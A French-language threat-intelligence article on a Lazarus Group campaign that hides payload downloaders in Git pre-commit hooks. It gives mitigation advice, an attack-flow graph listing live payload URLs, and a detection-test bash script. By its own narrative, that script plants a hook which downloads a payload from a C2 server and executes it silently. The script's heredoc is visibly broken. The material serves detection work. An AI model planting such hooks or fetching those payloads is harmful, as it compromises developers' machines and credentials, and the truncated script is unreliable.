SOC Prime Bias: Critique

13 Mai 2026 21:59

Le groupe Lazarus utilise des hooks Git pour cacher des malwares : l’entretien contagieux de la RPDC et la campagne TaskJacker cachent désormais leur chargeur de deuxième étape dans les hooks Git téléchargeant les malwares InvisibleFerret et Beavertail

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Le groupe Lazarus utilise des hooks Git pour cacher des malwares : l’entretien contagieux de la RPDC et la campagne TaskJacker cachent désormais leur chargeur de deuxième étape dans les hooks Git téléchargeant les malwares InvisibleFerret et Beavertail
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le groupe Lazarus nord-coréen a mis à jour sa campagne Contagious Interview et TaskJacker en intégrant un mécanisme de livraison de deuxième étape à l’intérieur d’un Git malveillant pré-engagement and post-passage hooks. Ces hooks récupèrent silencieusement des charges utiles spécifiques à la plateforme depuis une URL hébergée par Vercel et les exécutent sur des systèmes macOS, Linux et Windows. En abusant des flux de travail de développeurs de confiance et des outils de référentiel, les attaquants transforment des tâches de codage de routine en vecteur de compromis de la chaîne d’approvisionnement qui peut mener au vol de crédences et à la compromission des portefeuilles de cryptomonnaie. Les principaux indicateurs incluent le fichier .githooks/pre-commit script et l’infrastructure hébergée sur precommit.vercel.app.

Enquête

Les chercheurs d’OpenSourceMalware ont identifié un .githooks/pre-commit script compact qui détecte le système d’exploitation de la victime et télécharge la charge utile appropriée depuis precommit.vercel.app en utilisant curl or wget. Le même hash de script est apparu dans plusieurs référentiels GitHub déguisés en projets d’évaluation de code liés aux thèmes crypto et DeFi. L’infrastructure a servi différentes charges utiles shell ou batch en fonction du système d’exploitation, contrôlées via un paramètre de requête basé sur des drapeaux. Les chercheurs ont également partagé des requêtes de recherche de code GitHub qui peuvent être utilisées pour reproduire la chasse et localiser des référentiels similaires.

Atténuation

Les organisations doivent examiner attentivement les hooks des référentiels Git, en particulier les fichiers sous .githooks, .husky, et .vscode/tasks.json, avant de les autoriser à s’exécuter. Les développeurs devraient cloner et tester les référentiels non fiables uniquement dans des environnements isolés qui ne contiennent pas de clés SSH, de fichiers de portefeuille ou de profils de navigateur actifs. L’exécution automatique des hooks Git doit être désactivée dans la mesure du possible ou limitée aux scripts approuvés. Les équipes de sécurité devraient également surveiller le trafic sortant vers precommit.vercel.app et d’autres domaines similaires qui peuvent prendre en charge la livraison de charges utiles malveillantes.

Réponse

Les défenseurs doivent bloquer les communications réseau avec precommit.vercel.app et créer une surveillance de l’intégrité des fichiers pour les fichiers inattendus .githooks/pre-commit . Des alertes devraient également être déclenchées lorsque curl or wget est exécuté à partir de processus liés aux hooks Git. Les crédences potentielles exposées, les jetons ou les portefeuilles de cryptomonnaie doivent être étudiés et remplacés immédiatement. La chasse aux menaces doit être étendue en utilisant les indicateurs fournis pour identifier les référentiels affectés et tout système qui a interagi avec eux.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% Nodes u2013 Actions action_clone["<b>Action</b> – Victim clones malicious repository<br/><b>Description</b>: Downloads code containing a malicious Git hook."] class action_clone action action_commit["<b>Action</b> – Victim runs <code>git commit</code><br/><b>Description</b>: Triggers the preu2011commit hook automatically."] class action_commit action %% Nodes u2013 Artifacts artifact_repo["<b>Artifact</b> – Malicious Git repository<br/><b>Details</b>: Provides fake codingu2011assessment interview material."] class artifact_repo artifact artifact_hook["<b>Artifact</b> – .githooks/preu2011commit script<br/><b>Details</b>: Executed automatically on each <code>git commit</code>."] class artifact_hook artifact artifact_urls["<b>Artifact</b> – Remote payload URLs<br/><b>Details</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% Nodes u2013 Techniques tech_supply_chain["<b>Technique</b> – T1195: Supply Chain Compromise<br/><b>Description</b>: Adversaries compromise a thirdu2011party software supply chain to distribute malicious code to victims."] class tech_supply_chain technique tech_dependency["<b>Technique</b> – T1195.001: Compromise Software Dependencies and Development Tools<br/><b>Description</b>: Target software dependencies or development tools to embed malicious code."] class tech_dependency technique tech_proxy_exec["<b>Technique</b> – T1127: Trusted Developer Utilities Proxy Execution<br/><b>Description</b>: Use trusted developer utilities (e.g., Git hooks) to execute attackeru2011controlled code."] class tech_proxy_exec technique tech_unix_shell["<b>Technique</b> – T1059.004: Command and Scripting Interpreter u2013 Unix Shell<br/><b>Description</b>: Execute commands via a Unix shell interpreter."] class tech_unix_shell technique tech_user_exec["<b>Technique</b> – T1204.004: User Execution u2013 Malicious Copy and Paste<br/><b>Description</b>: Victim runs malicious code unintentionally through copyu2011andu2011paste actions."] class tech_user_exec technique tech_taint["<b>Technique</b> – T1080: Taint Shared Content<br/><b>Description</b>: Embed malicious content in shared resources that are later executed by victims."] class tech_taint technique tech_content_injection["<b>Technique</b> – T1659: Content Injection<br/><b>Description</b>: Insert malicious content into legitimate files or data streams."] class tech_content_injection technique %% Nodes u2013 Tools tool_git["<b>Tool</b> – Git<br/><b>Description</b>: Versionu2011control system that runs hook scripts on repository events."] class tool_git tool tool_curl["<b>Tool</b> – curl / wget<br/><b>Description</b>: Downloads remote content over HTTP/HTTPS."] class tool_curl tool tool_sh["<b>Tool</b> – /bin/sh<br/><b>Description</b>: Shell interpreter used to run downloaded payloads."] class tool_sh tool %% Connections u2013 Attack Flow action_clone –>|delivers| artifact_repo artifact_repo –>|enables| tech_supply_chain tech_supply_chain –>|facilitates| tech_dependency tech_dependency –>|places| artifact_hook action_commit –>|triggers| artifact_hook artifact_hook –>|leverages| tech_proxy_exec tech_proxy_exec –>|executes via| tool_git tool_git –>|invokes| tech_unix_shell tech_unix_shell –>|uses| tool_curl tool_curl –>|downloads| artifact_urls artifact_urls –>|supplies to| tech_taint tech_taint –>|leads to| tech_content_injection tech_content_injection –>|executes via| tool_sh tool_sh –>|runs malicious payload| tech_user_exec "

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôle de pré-vol de la télémétrie et de la ligne de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narrative et commandes de l’attaque :
    Un opérateur du groupe Lazarus compromet la station de travail d’un développeur et injecte un hook pré-engagement Git malveillant. Le hook est placé dans un répertoire caché “.githooks” pour éviter une découverte accidentelle. Lorsqu’un git commit est effectué, le hook contacte silencieusement un serveur C2, télécharge une charge utile encodée en base64, l’écrit sur /tmp/.payload, la rend exécutable, et l’exécute, établissant ainsi un point d’appui (T1620) et exécutant une charge utile malveillante intégrée (T1027.009).

  • Script de test de régression :

    #!/bin/bash
    # -------------------------------------------------
    # Test de hook pré-engagement malveillant à la manière de Lazarus
    # -------------------------------------------------
    
    # 1. Créer un répertoire .githooks caché
    mkdir -p "$HOME/.githooks"
    
    # 2. Écrire le hook pré-engagement malveillant
    cat > "$HOME/.githooks/pre-commit" < "$TMPFILE"
    chmod +x "$TMPFILE"
    # Exécuter la charge utile silencieusement
    "$TMPFILE" &
    exit 0
    EOF
    
    # 3. Rendre le hook exécutable
    chmod +x "$HOME/.githooks/pre-commit"
    
    # 4. Simuler un git commit pour activer le hook
    mkdir -p "$HOME/malicious-repo"
    cd "$HOME/malicious-repo"
    git init > /dev/null 2>&1
    touch README.md
    git add README.md
    git commit -m "Initial commit" > /dev/null 2>&1
    
    echo "Hook pré-engagement malveillant exécuté (si la détection fonctionne, une alerte devrait apparaître)."
  • Commandes de nettoyage :

    #!/bin/bash
    # Supprimer les artefacts malveillants
    rm -rf "$HOME/.githooks"
    rm -f "/tmp/.payload" "/tmp/.payload.b64"
    rm -rf "$HOME/malicious-repo"
    echo "Nettoyage complet."